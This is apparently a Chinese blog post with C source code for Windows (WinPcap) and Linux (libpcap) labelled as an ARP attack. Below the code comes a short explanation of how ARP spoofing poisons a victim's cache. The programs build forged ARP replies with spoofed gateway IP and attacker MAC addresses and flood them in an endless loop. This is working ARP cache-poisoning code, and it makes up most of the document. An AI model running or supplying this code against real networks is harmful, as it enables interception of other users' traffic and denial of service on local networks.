arp攻击代码--自己手动填入arp

arp攻击

windows:

//#if 0
#define _CRT_SECURE_NO_DEPRECATE
#include "pcap.h"
//#include <winsock2.h>
#include <IPHlpApi.h>
#pragma comment(lib, "Iphlpapi.lib")
#pragma comment(lib,"wpcap")
#pragma comment(lib,"ws2_32")
//=========数据包结构申明========================
typedef struct IP_Address //32位的IP地址
{
    u_char byte1;
    u_char byte2;
    u_char byte3;
    u_char byte4;

}ip_address;


typedef struct Hard_Mac //48位的MAC地址
{
    u_char byte1;
    u_char byte2;
    u_char byte3;
    u_char byte4;
    u_char byte5;
    u_char byte6;
}Hard_Mac;

/* Ethernet header */
typedef struct Ethernet_Header //112位 48位SMac+48位SMac+16位协议类型 以太网头
{
    Hard_Mac DMac; //(1)48位目MAC地址
    Hard_Mac SMac; //(2)48位源MAC地址
    WORD PType; //(3)16位协议类型
}Ethernet_Header;
typedef struct ARP_Header //定义ARP首部
{
    Ethernet_Header FrameHeader;//帧头
    WORD HardWare; //(4)16位网卡硬件类型
    WORD PType3; //(5)16位协议类型
    u_char HLeng; //(6)8位硬件地址长度
    u_char PLeng; //(7)16位协议地址长度
    WORD Oper; //(8)16位操作选项
    Hard_Mac SMac3; //(9)48位源MAC地址
    ip_address Saddr; //(10)32位源IP地址
    Hard_Mac DMac3; //(11)48位目标MAC地址
    ip_address Daddr; //(12)32位目标IP地址
    BYTE      padding[18]; //填充0
}ARP_Header;

//=====================================================================
//填充APR数据包
//======================================================================
ARP_Header filtpacket(char ip[4 * 4])
{
    int j = 0;
    for (int i = 0; i < sizeof(ip);i++){
        if (ip[i]=='.'){
            //char myip = strcat(ip[j],ip[]);
        }
    }
    ARP_Header ARPH; //发送的ARP包结构
    //先初始化三层ARP的MAC地址
    
    
    ARPH.DMac3.byte1 = 0xD0; ARPH.DMac3.byte2 = 0x67; ARPH.DMac3.byte3 = 0xE5;
    ARPH.DMac3.byte4 = 0x21; ARPH.DMac3.byte5 = 0xA4; ARPH.DMac3.byte6 = 0x1C; //目标MAC地址
    //ARPH.DMac3.byte1 = 0x00; ARPH.DMac3.byte2 = 0x0f; ARPH.DMac3.byte3 = 0xe2;
    //ARPH.DMac3.byte4 = 0x80; ARPH.DMac3.byte5 = 0xb8; ARPH.DMac3.byte6 = 0x2d;  //目标MAC地址

    ARPH.SMac3.byte1 = 0xD0; ARPH.SMac3.byte2 = 0x67; ARPH.SMac3.byte3 = 0xE5;
    ARPH.SMac3.byte4 = 0x21; ARPH.SMac3.byte5 = 0x9C; ARPH.SMac3.byte6 = 0x8E; //源MAC地址
    //ARPH.SMac3.byte1 = 0xD0; ARPH.SMac3.byte2 = 0x67; ARPH.SMac3.byte3 = 0xE5;
    //ARPH.SMac3.byte4 = 0x21; ARPH.SMac3.byte5 = 0xA4; ARPH.SMac3.byte6 = 0x1C; //源MAC地址

    ARPH.FrameHeader.SMac.byte1 = 0xD0; ARPH.FrameHeader.SMac.byte2 = 0x67; ARPH.FrameHeader.SMac.byte3 = 0xE5;
    ARPH.FrameHeader.SMac.byte4 = 0x21; ARPH.FrameHeader.SMac.byte5 = 0x9C; ARPH.FrameHeader.SMac.byte6 = 0x8E; //源MAC地址
    //ARPH.FrameHeader.SMac.byte1 = 0xD0; ARPH.FrameHeader.SMac.byte2 = 0x67; ARPH.FrameHeader.SMac.byte3 = 0xE5;
    //ARPH.FrameHeader.SMac.byte4 = 0x21; ARPH.FrameHeader.SMac.byte5 = 0xA4; ARPH.FrameHeader.SMac.byte6 = 0x1C; //源MAC地址
     //ARPH.FrameHeader.DMac.byte1 = 0xD0; ARPH.FrameHeader.DMac.byte2 = 0x67; ARPH.FrameHeader.DMac.byte3 = 0xE5;
     //ARPH.FrameHeader.DMac.byte4 = 0x21; ARPH.FrameHeader.DMac.byte5 = 0xA4; ARPH.FrameHeader.DMac.byte6 = 0x1C; //目标MAC地址
    //ARPH.FrameHeader.DMac.byte1 = 0x00; ARPH.FrameHeader.DMac.byte2 = 0x0f; ARPH.FrameHeader.DMac.byte3 = 0xe2;
    //ARPH.FrameHeader.DMac.byte4 = 0x80; ARPH.FrameHeader.DMac.byte5 = 0xb8; ARPH.FrameHeader.DMac.byte6 = 0x2d;   //目标MAC地址


    ARPH.FrameHeader.DMac.byte1 = 0xff; ARPH.FrameHeader.DMac.byte2 = 0xff; ARPH.FrameHeader.DMac.byte3 = 0xff;
    ARPH.FrameHeader.DMac.byte4 = 0xff; ARPH.FrameHeader.DMac.byte5 = 0xff; ARPH.FrameHeader.DMac.byte6 = 0xff;
    ARPH.FrameHeader.PType = htons(0x0806);//协议类型为ARP

    ARPH.HardWare = htons(0x0001);//10M Ethernet

    ARPH.PType3 = htons(0x0800);//协议类型为IP

    ARPH.HLeng = 6; //硬件地址长度

    ARPH.PLeng = 4; //IP地址长度

    ARPH.Oper = htons(0x0002); //请求操作
    //hostent myhost;
    //myhost = gethostbyname();

    //ARPH.Daddr.byte1 = 10; ARPH.Daddr.byte2 = 3; ARPH.Daddr.byte3 = 130; ARPH.Daddr.byte4 = 227; //目标IP地址
    //ARPH.Daddr.byte1 = 10; ARPH.Daddr.byte2 = 3; ARPH.Daddr.byte3 = 130; ARPH.Daddr.byte4 = 227; //目标IP地址

    ARPH.Saddr.byte1 = 10; ARPH.Saddr.byte2 = 3; ARPH.Saddr.byte3 = 128; ARPH.Saddr.byte4 = 1; //源IP地址
    ARPH.Daddr.byte1 = 0; ARPH.Daddr.byte2 = 0; ARPH.Daddr.byte3 = 0; ARPH.Daddr.byte4 = 0; //目标IP地址
    int i;
    for (i = 0; i<18; i++)
    {
        ARPH.padding[i] = 0;
    }
    return ARPH;
};
//==========================================================
//发送数据包
//==========================================================
void SendPacket(pcap_t *adhandle, ARP_Header ARPH)
{
    //const u_char *Buff;
    //Buff = &ARPH.FrameHeader.DMac.byte1 ; //结构首地址传入Buff

    if (pcap_sendpacket(adhandle, // Adapter
        (u_char *)&ARPH, // buffer with the packet
        sizeof(ARPH)// size
        ) != 0)
    {
        printf("发送数据包失败\n");
    }
    //else
    //printf("发送数据包成功!\n");
}
//=======================================================
//解析数据包
//=======================================================
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
    //struct tm *ltime;
    //char timestr[16];  

    /* convert the timestamp to readable format */
    // ltime=localtime(&header->ts.tv_sec);
    //strftime( timestr, sizeof timestr, "%H:%M:%S", ltime);

    /* print timestamp and length of the packet */
    //printf("%s.%.6d len:%d \n", timestr, header->ts.tv_usec, header->len);

    ARP_Header *ah;

    ah = (ARP_Header *)(pkt_data);

    if (1//ah->FrameHeader.PType == 1544 //&&
        /*ah->Oper == 512 &&
        ah->Daddr.byte1 == 172 &&
        ah->Daddr.byte2 == 18 &&
        ah->Daddr.byte3 == 19 &&
        ah->Daddr.byte4 == 116
        && ah->Saddr.byte1 == 172 &&
        ah->Saddr.byte2 == 18 &&
        ah->Saddr.byte3 == 19 &&
        ah->Saddr.byte4 == 103*/
        )
    {
        /*输出源IP地址,目的IP地址*/
        printf("\n%d.%d.%d.%d-> %d.%d.%d.%d\n",
            ah->Saddr.byte1,
            ah->Saddr.byte2,
            ah->Saddr.byte3,
            ah->Saddr.byte4,
            ah->Daddr.byte1,
            ah->Daddr.byte2,
            ah->Daddr.byte3,
            ah->Daddr.byte4);
        /*输出目的地址,输出源地址,输入协议类型*/
        Hard_Mac SMAC, DMAC;
        Ethernet_Header *eh;
        eh = (Ethernet_Header*)pkt_data;
        SMAC = eh->SMac;
        printf("源地址 %.2x--%.2x--%.2x--%.2x--%.2x--%.2x\n"
            , SMAC.byte1, SMAC.byte2, SMAC.byte3, SMAC.byte4, SMAC.byte5, SMAC.byte6);
        // printf("源地址 %.2x--%.2x--%.2x--%.2x--%.2x--%.2x\n"
        //       ,ah->FrameHeader.SMac.byte1,ah->FrameHeader.SMac.byte2,ah->FrameHeader.SMac.byte3,ah->FrameHeader.SMac.byte4,ah->FrameHeader.SMac.byte5,ah->FrameHeader.SMac.byte6);
        DMAC = eh->DMac;
        printf("目的地址 %.2x--%.2x--%.2x--%.2x--%.2x--%.2x\n"
            , DMAC.byte1, DMAC.byte2, DMAC.byte3, DMAC.byte4, DMAC.byte5, DMAC.byte6);
        printf("帧协议 %.4x\n", ntohs(eh->PType));
        printf("硬件类型%.4x\n", ntohs(ah->HardWare));
        printf("协议类型%.4x\n", ntohs(ah->PType3));
        printf("操作类型%.4x\n", ntohs(ah->Oper));
        printf("数据内容%x\n", ah->padding);
        printf("\n\n==============================================================\n");
    }
}
int main()
{
    PIP_ADAPTER_INFO pAdapterInfo;
    PIP_ADAPTER_INFO pAdapter = NULL;
    DWORD dwRetVal = 0;                                     //查询本机网卡来获得下面的消息   mac则向交换机发送arp包来获取
    pAdapterInfo = (IP_ADAPTER_INFO*)malloc(sizeof(IP_ADAPTER_INFO));
    ULONG ulOutBufLen = sizeof(IP_ADAPTER_INFO);
    if (GetAdaptersInfo(pAdapterInfo, &ulOutBufLen) == ERROR_BUFFER_OVERFLOW)
    {
        free(pAdapterInfo);
        pAdapterInfo = (IP_ADAPTER_INFO*)malloc(ulOutBufLen);
    }
    if ((dwRetVal = GetAdaptersInfo(pAdapterInfo, &ulOutBufLen)) == NO_ERROR)
    {
        pAdapter = pAdapterInfo;
    }
    printf("IP地址:%s\n",pAdapter->IpAddressList.IpAddress.String);
    //打开网卡
    pcap_if_t *alldevs;
    pcap_if_t *d;
    int inum;
    int i = 0;
    pcap_t *adhandle;
    char errbuf[PCAP_ERRBUF_SIZE];
    char packet_filter[] = "arp";
    /* Retrieve the device list */
    if (pcap_findalldevs(&alldevs, errbuf) == -1)
    {
        fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
        exit(1);
    }

    /* Print the list */
    for (d = alldevs; d; d = d->next)
    {
        printf("%d. %s", ++i, d->name);
        if (d->description)
            printf(" (%s)\n", d->description);
        else
            printf(" (No description available)\n");
    }

    if (i == 0)
    {
        printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
        return -1;
    }

    printf("Enter the interface number (1-%d):", i);
    scanf("%d", &inum);

    if (inum < 1 || inum > i)
    {
        printf("\nInterface number out of range.\n");
        /* Free the device list */
        pcap_freealldevs(alldevs);
        return -1;
    }

    /* Jump to the selected adapter */
    for (d = alldevs, i = 0; i< inum - 1; d = d->next, i++);

    /* Open the adapter */
    if ((adhandle = pcap_open_live(d->name, // name of the device
        65536,   // portion of the packet to capture.  
        // 65536 grants that the whole packet will be captured on  all the MACs.
        1,       // promiscuous mode
        1000,     // read timeout
        errbuf   // error buffer
        )) == NULL)
    {
        fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n");
        /* Free the device list */
        pcap_freealldevs(alldevs);
        return -1;
    }

    /* Check the link layer. We support only Ethernet for simplicity. */
    /*  if(pcap_datalink(adhandle) != DLT_EN10MB)
    {
    fprintf(stderr,"\nThis program works only on Ethernet networks.\n");
    Free the device list
    pcap_freealldevs(alldevs);
    return -1;
    }

    printf("\nlistening on %s...\n", d->description);

    /* At this point, we don't need any more the device list. Free it */
    pcap_freealldevs(alldevs);

    /* start the capture */

    //

    while (9)
    {
        SendPacket(adhandle, filtpacket(pAdapter->IpAddressList.IpAddress.String));
        //Sleep(20);
    }
    //pcap_loop(adhandle, 0, packet_handler, NULL);

    return 0;


}

linux

#include <pcap.h>
#include <stdlib.h>
#include <iostream>
#include <netinet/in.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <string.h>
//=========数据包结构申明========================
typedef struct IP_Address //32位的IP地址
{
    u_char byte1;
    u_char byte2;
    u_char byte3;
    u_char byte4;

}ip_address;


typedef struct Hard_Mac //48位的MAC地址
{
    u_char byte1;
    u_char byte2;
    u_char byte3;
    u_char byte4;
    u_char byte5;
    u_char byte6;
}Hard_Mac;

/* Ethernet header */
typedef struct Ethernet_Header //112位 48位SMac+48位SMac+16位协议类型 以太网头
{
    Hard_Mac DMac; //(1)48位目MAC地址
    Hard_Mac SMac; //(2)48位源MAC地址
    unsigned short PType; //(3)16位协议类型
}Ethernet_Header;
typedef struct ARP_Header //定义ARP首部
{
    Ethernet_Header FrameHeader;//帧头
    unsigned short HardWare; //(4)16位网卡硬件类型
    unsigned short PType3; //(5)16位协议类型
    u_char HLeng; //(6)8位硬件地址长度
    u_char PLeng; //(7)16位协议地址长度
    unsigned short Oper; //(8)16位操作选项
    Hard_Mac SMac3; //(9)48位源MAC地址
    ip_address Saddr; //(10)32位源IP地址
    Hard_Mac DMac3; //(11)48位目标MAC地址
    ip_address Daddr; //(12)32位目标IP地址
    unsigned char      padding[18]; //填充0
}ARP_Header;

//=====================================================================
//填充APR数据包
//======================================================================
ARP_Header filtpacket(char ip[4 * 4])
{
    for (unsigned int i = 0; i < sizeof(ip);i++){
        if (ip[i]=='.'){
            //char myip = strcat(ip[j],ip[]);
        }
    }
    ARP_Header ARPH; //发送的ARP包结构
    //先初始化三层ARP的MAC地址


    ARPH.DMac3.byte1 = 0xD0; ARPH.DMac3.byte2 = 0x67; ARPH.DMac3.byte3 = 0xE5;
    ARPH.DMac3.byte4 = 0x21; ARPH.DMac3.byte5 = 0xA4; ARPH.DMac3.byte6 = 0x1C; //目标MAC地址
    //ARPH.DMac3.byte1 = 0x00; ARPH.DMac3.byte2 = 0x0f; ARPH.DMac3.byte3 = 0xe2;
    //ARPH.DMac3.byte4 = 0x80; ARPH.DMac3.byte5 = 0xb8; ARPH.DMac3.byte6 = 0x2d;  //目标MAC地址

    ARPH.SMac3.byte1 = 0xD0; ARPH.SMac3.byte2 = 0x67; ARPH.SMac3.byte3 = 0xE5;
    ARPH.SMac3.byte4 = 0x21; ARPH.SMac3.byte5 = 0x9C; ARPH.SMac3.byte6 = 0x8E; //源MAC地址
    //ARPH.SMac3.byte1 = 0xD0; ARPH.SMac3.byte2 = 0x67; ARPH.SMac3.byte3 = 0xE5;
    //ARPH.SMac3.byte4 = 0x21; ARPH.SMac3.byte5 = 0xA4; ARPH.SMac3.byte6 = 0x1C; //源MAC地址

    ARPH.FrameHeader.SMac.byte1 = 0xD0; ARPH.FrameHeader.SMac.byte2 = 0x67; ARPH.FrameHeader.SMac.byte3 = 0xE5;
    ARPH.FrameHeader.SMac.byte4 = 0x21; ARPH.FrameHeader.SMac.byte5 = 0x9C; ARPH.FrameHeader.SMac.byte6 = 0x8E; //源MAC地址
    //ARPH.FrameHeader.SMac.byte1 = 0xD0; ARPH.FrameHeader.SMac.byte2 = 0x67; ARPH.FrameHeader.SMac.byte3 = 0xE5;
    //ARPH.FrameHeader.SMac.byte4 = 0x21; ARPH.FrameHeader.SMac.byte5 = 0xA4; ARPH.FrameHeader.SMac.byte6 = 0x1C; //源MAC地址
     //ARPH.FrameHeader.DMac.byte1 = 0xD0; ARPH.FrameHeader.DMac.byte2 = 0x67; ARPH.FrameHeader.DMac.byte3 = 0xE5;
     //ARPH.FrameHeader.DMac.byte4 = 0x21; ARPH.FrameHeader.DMac.byte5 = 0xA4; ARPH.FrameHeader.DMac.byte6 = 0x1C; //目标MAC地址
    //ARPH.FrameHeader.DMac.byte1 = 0x00; ARPH.FrameHeader.DMac.byte2 = 0x0f; ARPH.FrameHeader.DMac.byte3 = 0xe2;
    //ARPH.FrameHeader.DMac.byte4 = 0x80; ARPH.FrameHeader.DMac.byte5 = 0xb8; ARPH.FrameHeader.DMac.byte6 = 0x2d;   //目标MAC地址


    ARPH.FrameHeader.DMac.byte1 = 0xff; ARPH.FrameHeader.DMac.byte2 = 0xff; ARPH.FrameHeader.DMac.byte3 = 0xff;
    ARPH.FrameHeader.DMac.byte4 = 0xff; ARPH.FrameHeader.DMac.byte5 = 0xff; ARPH.FrameHeader.DMac.byte6 = 0xff;

    ARPH.FrameHeader.PType = htons(0x0806);//协议类型为ARP

    ARPH.HardWare = htons(0x0001);//10M Ethernet

    ARPH.PType3 = htons(0x0800);//协议类型为IP

    ARPH.HLeng = 6; //硬件地址长度

    ARPH.PLeng = 4; //IP地址长度

    ARPH.Oper = htons(0x0002); //1请求操作  2anser
    //hostent myhost;
    //myhost = gethostbyname();

    //ARPH.Daddr.byte1 = 10; ARPH.Daddr.byte2 = 3; ARPH.Daddr.byte3 = 130; ARPH.Daddr.byte4 = 227; //目标IP地址
    //ARPH.Daddr.byte1 = 10; ARPH.Daddr.byte2 = 3; ARPH.Daddr.byte3 = 130; ARPH.Daddr.byte4 = 227; //目标IP地址

    ARPH.Saddr.byte1 = 10; ARPH.Saddr.byte2 = 3; ARPH.Saddr.byte3 = 128; ARPH.Saddr.byte4 = 1; //源IP地址
    ARPH.Daddr.byte1 = 0; ARPH.Daddr.byte2 = 0; ARPH.Daddr.byte3 = 0; ARPH.Daddr.byte4 = 0; //目标IP地址
    int i;
    for (i = 0; i<18; i++)
    {
        ARPH.padding[i] = 0;
    }
    return ARPH;
};


ARP_Header filtpacket2(char ip[4 * 4])
{
    for (unsigned int i = 0; i < sizeof(ip);i++){
        if (ip[i]=='.'){
            //char myip = strcat(ip[j],ip[]);
        }
    }
    ARP_Header ARPH; //发送的ARP包结构
    //先初始化三层ARP的MAC地址
    ARPH.FrameHeader.SMac.byte1 = 0xD0; ARPH.FrameHeader.SMac.byte2 = 0x67; ARPH.FrameHeader.SMac.byte3 = 0xE5;
    ARPH.FrameHeader.SMac.byte4 = 0x21; ARPH.FrameHeader.SMac.byte5 = 0x9C; ARPH.FrameHeader.SMac.byte6 = 0x8E;
     //ac f7 f3 bc 24 b2      192.168.0.106
    ARPH.FrameHeader.DMac.byte1 = 0xff; ARPH.FrameHeader.DMac.byte2 = 0xff; ARPH.FrameHeader.DMac.byte3 = 0xff;
    ARPH.FrameHeader.DMac.byte4 = 0xff; ARPH.FrameHeader.DMac.byte5 = 0xff; ARPH.FrameHeader.DMac.byte6 = 0xff;
    ARPH.FrameHeader.PType = htons(0x0806);//协议类型为ARP


    ARPH.SMac3.byte1 = 0xD0; ARPH.SMac3.byte2 = 0x67; ARPH.SMac3.byte3 = 0xE5;
    ARPH.SMac3.byte4 = 0x21; ARPH.SMac3.byte5 = 0x9C; ARPH.SMac3.byte6 = 0x8E; //源MAC地址
    //ARPH.SMac3.byte1 = 0xD0; ARPH.SMac3.byte2 = 0x67; ARPH.SMac3.byte3 = 0xE5;
    //ARPH.SMac3.byte4 = 0x21; ARPH.SMac3.byte5 = 0xA4; ARPH.SMac3.byte6 = 0x1C; //源MAC地址
    ARPH.DMac3.byte1 = 0xC4; ARPH.DMac3.byte2 = 0x6A; ARPH.DMac3.byte3 = 0xB7;
    ARPH.DMac3.byte4 = 0xA3; ARPH.DMac3.byte5 = 0x5A; ARPH.DMac3.byte6 = 0x7A; //目标MAC地址
    //ARPH.DMac3.byte1 = 0x00; ARPH.DMac3.byte2 = 0x0f; ARPH.DMac3.byte3 = 0xe2;
    //ARPH.DMac3.byte4 = 0x80; ARPH.DMac3.byte5 = 0xb8; ARPH.DMac3.byte6 = 0x2d;  //目标MAC地址


    ARPH.HardWare = htons(0x0001);//10M Ethernet

    ARPH.PType3 = htons(0x0800);//协议类型为IP

    ARPH.HLeng = 6; //硬件地址长度

    ARPH.PLeng = 4; //IP地址长度

    ARPH.Oper = htons(0x0002); //请求操作
    ARPH.Saddr.byte1 = 192; ARPH.Saddr.byte2 = 168; ARPH.Saddr.byte3 = 1; ARPH.Saddr.byte4 = 1; //源IP地址
    ARPH.Daddr.byte1 = 192; ARPH.Daddr.byte2 = 168; ARPH.Daddr.byte3 = 1; ARPH.Daddr.byte4 = 107; //目标IP地址
    int i;
    for (i = 0; i<18; i++)
    {
        ARPH.padding[i] = 0;
    }
    return ARPH;
};
//==========================================================
//发送数据包
//==========================================================
void SendPacket(pcap_t *adhandle, ARP_Header ARPH)
{
    if (pcap_sendpacket(adhandle, // Adapter
        (u_char *)&ARPH, // buffer with the packet
        sizeof(ARPH)// size
        ) != 0)
    {
        printf("发送数据包失败\n");
    }
}
int main()
{
    int i=0,devid;
    char   error_content[PCAP_ERRBUF_SIZE];
    pcap_if_t *alldevs, *pdev;
   pcap_findalldevs(&alldevs, error_content);
    for (pdev = alldevs; pdev; pdev=pdev->next)
    printf("#%d: %s---%s\n", ++i, pdev->name, pdev->description? pdev->description:"null description");
    printf("select a device: "); scanf("%d", &devid);
    pdev=alldevs; while (--devid) pdev=pdev->next;
        int sock;
        struct sockaddr_in sin;
        struct ifreq ifr;
        sock = socket(AF_INET, SOCK_DGRAM, 0);
        if (sock == -1)
        {
                perror("socket");
                return -1;
        }
        strncpy(ifr.ifr_name, pdev->name, IFNAMSIZ);
        ifr.ifr_name[IFNAMSIZ - 1] = 0;
        if (ioctl(sock, SIOCGIFADDR, &ifr) < 0)
        {
                perror("ioctl");
                return -1;
        }
        memcpy(&sin, &ifr.ifr_addr, sizeof(sin));
        fprintf(stdout, "%s: %s\n",pdev->name,inet_ntoa(sin.sin_addr));
    pcap_t *adhandle;
    if ((adhandle = pcap_open_live(pdev->name, // name of the device
        65536,   // portion of the packet to capture.
        // 65536 grants that the whole packet will be captured on  all the MACs.
        1,       // promiscuous mode
        0,     // read timeout
        error_content   // error buffer
        )) == NULL)
    {
        printf("Unable to open the adapter. this is not supported by WinPcap\n");
        pcap_freealldevs(alldevs);
        return -1;
    }
    pcap_freealldevs(alldevs);
    char string[4 * 4]="0.0.0.0";
//   printf("%s--%d--%d\n",string,sizeof(string),strlen(string));
//   printf("%s--%d--%d\n",inet_ntoa(sin.sin_addr),sizeof(inet_ntoa(sin.sin_addr)),strlen(inet_ntoa(sin.sin_addr)));
   strncpy(string,inet_ntoa(sin.sin_addr),strlen(inet_ntoa(sin.sin_addr)));
   printf("%s--%d--%d\n",string,sizeof(string),strlen(string));
   int count=0;
       while (1)
    {
        printf("%d---start attach!!!\n",count++);
        //SendPacket(adhandle, filtpacket(pAdapter->IpAddressList.IpAddress.String));
        SendPacket(adhandle, filtpacket2(string));
    }
    return 0;
}


  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
现在有一台计算机A(IP:192.168.85.1 MAC:AA-AA-AA-AA-AA-AA),另一台计算机B(IP:192.168.85.100 MAC:BB-BB-BB-BB-BB-BB)现在用A去 ping B。看见 Reply from 192.168.85.100: bytes=32 time<10ms TTL=32 这样的信息。然后在运行中输入arp -a,会看见 192.168.8.100 BB-BB-BB-BB-BB-BB dynamic这样的信息。那就是arp高速缓存中IP地址和MAC地址的一个映射关系,在以太网中,数据传递靠的是MAC,而并不是IP地址。其实在这背后就隐藏着arp的秘密。你一定会问,网络上这么多计算机,A是怎么找到B的?那么我们就来分析一下细节。首先A并不知道B在哪里,那么A首先就会发一个广播的ARP请求,即目的MAC为FF-FF-FF-FF-FF-FF,目的IP为B的192.168.85.100,再带上自己的源IP,和源 MAC。那么一个网段上的所有计算机都会接收到来自A的ARP请求,由于每台计算机都有自己唯一的MAC和IP,那么它会分析目的IP即 192.168.85.100是不是自己的IP?如果不是,网卡会自动丢弃数据包。如果B接收到了,经过分析,目的IP是自己的,于是更新自己的ARP高速缓存,记录下A的IP和MAC。然后B就会回应A一个ARP应答,就是把A的源IP,源MAC变成现在目的IP,和目的MAC,再带上自己的源IP,源 MAC,发送给A。当A机接收到ARP应答后,更新自己的ARP高速缓存,即把arp应答中的B机的源IP,源MAC的映射关系记录在高速缓存中。那么现在A机中有B的MAC和IP,B机中也有A的MAC和IP。arp请求和应答过程就结束了。由于arp高速缓存是会定时自动更新的,在没有静态绑定的情况下,IP和MAC的映射关系会随时间流逝自动消失。在以后的通信中,A在和B通信时,会首先察看arp高速缓存中有没有B的IP和MAC的映射关系,如果有,就直接取得MAC地址,如果没有就再发一次ARP请求的广播,B再应答即重复上面动作。 好了在了解了上面基本arp通信过程后,arp欺骗就不那神秘了,计算机在接收到ARP应答的时候,不管有没有发出ARP请求,都会更新自己的高速缓存。利用这点如果C机(IP:192.168.85.200 MAC:CC-CC-CC-CC-CC-CC)伪装成B机向A发出ARP应答,自己伪造B机的源MAC为CC-CC-CC-CC-CC-CC,源IP依旧伪造成B的IP即192.168.85.100,是那么A机的ARP缓存就会被我们伪造的MAC所更新,192.168.85.100对应的MAC就会变成CC-CC-CC-CC-CC-CC.如果A机再利用192.168.85.100即B的IP和B通信,实际上数据包却发给了C机,B机根本就接收不到了。实例基于WINCAP编写,描述其本源理与流程.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值